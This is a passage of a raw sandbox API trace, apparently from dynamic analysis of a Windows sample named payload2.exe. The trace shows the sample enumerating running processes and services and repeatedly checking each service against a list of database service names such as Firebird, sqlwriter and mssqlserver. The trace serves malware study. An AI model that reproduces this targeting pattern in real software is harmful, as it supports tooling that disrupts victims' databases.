	[0196.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0196.615] lstrlenW (lpString="PcaSvc") returned 6
	[0196.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0196.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0196.615] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0196.615] lstrlenW (lpString="PlugPlay") returned 8
	[0196.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0196.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0196.615] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0196.615] lstrlenW (lpString="Power") returned 5
	[0196.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0196.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0196.615] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0196.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0196.616] lstrlenW (lpString="ProfSvc") returned 7
	[0196.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0196.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0196.616] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0196.616] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0196.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0196.616] lstrlenW (lpString="RpcEptMapper") returned 12
	[0196.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0196.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0196.616] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0196.616] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0196.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0196.616] lstrlenW (lpString="RpcSs") returned 5
	[0196.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0196.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0196.616] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0196.616] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0196.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0196.616] lstrlenW (lpString="SamSs") returned 5
	[0196.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0196.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0196.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0196.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0196.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0196.617] lstrlenW (lpString="Schedule") returned 8
	[0196.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0196.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0196.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0196.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0196.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0196.617] lstrlenW (lpString="SecurityHealthService") returned 21
	[0196.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0196.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0196.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0196.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0196.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0196.617] lstrlenW (lpString="SENS") returned 4
	[0196.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0196.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0196.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0196.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0196.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0196.617] lstrlenW (lpString="ShellHWDetection") returned 16
	[0196.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0196.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0196.618] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0196.618] lstrlenW (lpString="Spooler") returned 7
	[0196.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0196.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0196.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0196.618] lstrlenW (lpString="StateRepository") returned 15
	[0196.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0196.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0196.618] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0196.618] lstrlenW (lpString="SysMain") returned 7
	[0196.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0196.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0196.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0196.618] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0196.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0196.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0196.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0196.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0196.618] lstrlenW (lpString="Themes") returned 6
	[0196.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0196.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0196.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0196.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0196.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0196.619] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0196.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0196.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0196.619] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0196.619] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0196.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x594
	[0196.626] Process32FirstW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0196.627] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0196.627] lstrlenW (lpString="System") returned 6
	[0196.627] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0196.628] lstrlenW (lpString="smss.exe") returned 8
	[0196.628] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0196.628] lstrlenW (lpString="csrss.exe") returned 9
	[0196.628] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0196.629] lstrlenW (lpString="wininit.exe") returned 11
	[0196.629] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0196.629] lstrlenW (lpString="csrss.exe") returned 9
	[0196.629] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0196.630] lstrlenW (lpString="winlogon.exe") returned 12
	[0196.630] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0196.630] lstrlenW (lpString="services.exe") returned 12
	[0196.630] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0196.631] lstrlenW (lpString="lsass.exe") returned 9
	[0196.631] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0196.631] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0196.631] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0196.632] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0196.632] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.791] lstrlenW (lpString="svchost.exe") returned 11
	[0196.792] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.792] lstrlenW (lpString="svchost.exe") returned 11
	[0196.792] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0196.793] lstrlenW (lpString="dwm.exe") returned 7
	[0196.793] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.793] lstrlenW (lpString="svchost.exe") returned 11
	[0196.793] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.794] lstrlenW (lpString="svchost.exe") returned 11
	[0196.794] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.794] lstrlenW (lpString="svchost.exe") returned 11
	[0196.794] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.795] lstrlenW (lpString="svchost.exe") returned 11
	[0196.795] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.795] lstrlenW (lpString="svchost.exe") returned 11
	[0196.795] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.796] lstrlenW (lpString="svchost.exe") returned 11
	[0196.796] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.796] lstrlenW (lpString="svchost.exe") returned 11
	[0196.796] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.797] lstrlenW (lpString="svchost.exe") returned 11
	[0196.797] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.797] lstrlenW (lpString="svchost.exe") returned 11
	[0196.797] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.798] lstrlenW (lpString="svchost.exe") returned 11
	[0196.798] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0196.798] lstrlenW (lpString="spoolsv.exe") returned 11
	[0196.798] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.799] lstrlenW (lpString="svchost.exe") returned 11
	[0196.799] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0196.799] lstrlenW (lpString="audiodg.exe") returned 11
	[0196.799] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0196.800] lstrlenW (lpString="sihost.exe") returned 10
	[0196.800] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0196.800] lstrlenW (lpString="svchost.exe") returned 11
	[0196.800] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0196.801] lstrlenW (lpString="taskhostw.exe") returned 13
	[0196.801] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0196.801] lstrlenW (lpString="msoia.exe") returned 9
	[0196.801] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0196.802] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0196.802] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0196.802] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0196.802] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0196.803] lstrlenW (lpString="Memory Compression") returned 18
	[0196.803] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0196.803] lstrlenW (lpString="explorer.exe") returned 12
	[0196.803] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0196.804] lstrlenW (lpString="SearchUI.exe") returned 12
	[0196.804] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0196.804] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0196.804] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0196.805] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0196.805] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0196.805] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0196.805] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0196.806] lstrlenW (lpString="payload2.exe") returned 12
	[0196.806] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0196.806] lstrlenW (lpString="cmd.exe") returned 7
	[0196.806] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0196.807] lstrlenW (lpString="conhost.exe") returned 11
	[0196.807] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0196.807] lstrlenW (lpString="consent.exe") returned 11
	[0196.807] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0196.808] lstrlenW (lpString="dllhost.exe") returned 11
	[0196.808] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0196.808] CloseHandle (hObject=0x594) returned 1
	[0196.808] Sleep (dwMilliseconds=0x1f4) 
	[0197.639] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6681a0
	[0197.639] EnumServicesStatusExW (in: hSCManager=0x6681a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0197.640] GetLastError () returned 0xea
	[0197.640] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4470140
	[0197.640] EnumServicesStatusExW (in: hSCManager=0x6681a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0197.641] CloseServiceHandle (hSCObject=0x6681a0) returned 1
	[0197.641] lstrlenW (lpString="Appinfo") returned 7
	[0197.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0197.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0197.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
